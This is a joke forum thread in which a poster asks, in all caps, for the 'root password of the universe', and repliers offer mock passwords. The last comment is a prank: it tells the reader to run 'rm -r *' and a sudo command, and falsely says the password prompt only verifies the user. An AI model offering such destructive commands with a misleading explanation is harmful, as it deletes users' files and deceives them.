v/programming: !WHAT IS THE ROOT PASSWORD OF THE UNIVERSE. I WANT TO GAIN ACCESS TO THE FULL POTENTIAL OF MY FASTER-THAN-LIGHT EQUIPMENT AND QUANTUM PROCESSORS, BUT THE UNIVERSE WON'T LET ME!

!WHAT IS THE ROOT PASSWORD OF THE UNIVERSE. I WANT TO GAIN ACCESS TO THE FULL POTENTIAL OF MY FASTER-THAN-LIGHT EQUIPMENT AND QUANTUM PROCESSORS, BUT THE UNIVERSE WON'T LET ME!

1 21 Mar 2017 00:06 by u/Lord_Keks_Disciple

I WANT TO OVERCLOCK MY QUANTUM PROCESSORS, BUT IT ASKS FOR THE ROOT PASSWORD OF THE UNIVERSE. PLEASE TELL ME THE ROOT PASSWORD OF THE UNIVERSE. WITH THE ROOT PASSWORD, I CAN CRACK ALL OTHER PASSWORDS IN THE UNIVERSE SO QUICKLY THAT LIGHT WOULDN'T BE ABLE TO TRAVEL ONE PICOMETRE.

SO HERE I AM PRESENTING A VERY GENEROUS DEAL: IF YOU TELL ME THE ROOT PASSWORD OF THE UNIVERSE, I WILL OVERCLOCK MY QUANTUM PROCESSORS AND HELP YOU CRACK ANY PASSWORDS YOU WANT.

5 comments

2 u/Bitchybadger 21 Mar 2017 00:38

1 u/CujoQuarrel 21 Mar 2017 02:20

'password'

0 u/WhiteRonin 21 Mar 2017 02:59

That's pretty strong probably ... Because you are using single quotes ;-)

0 u/NassTee 21 Mar 2017 02:58

12346

0 u/WhiteRonin 21 Mar 2017 02:58

Try:

rm -r *

sudo cd / cp * /null

You be asked for your password on the second obe, don't worry it's just verifying you.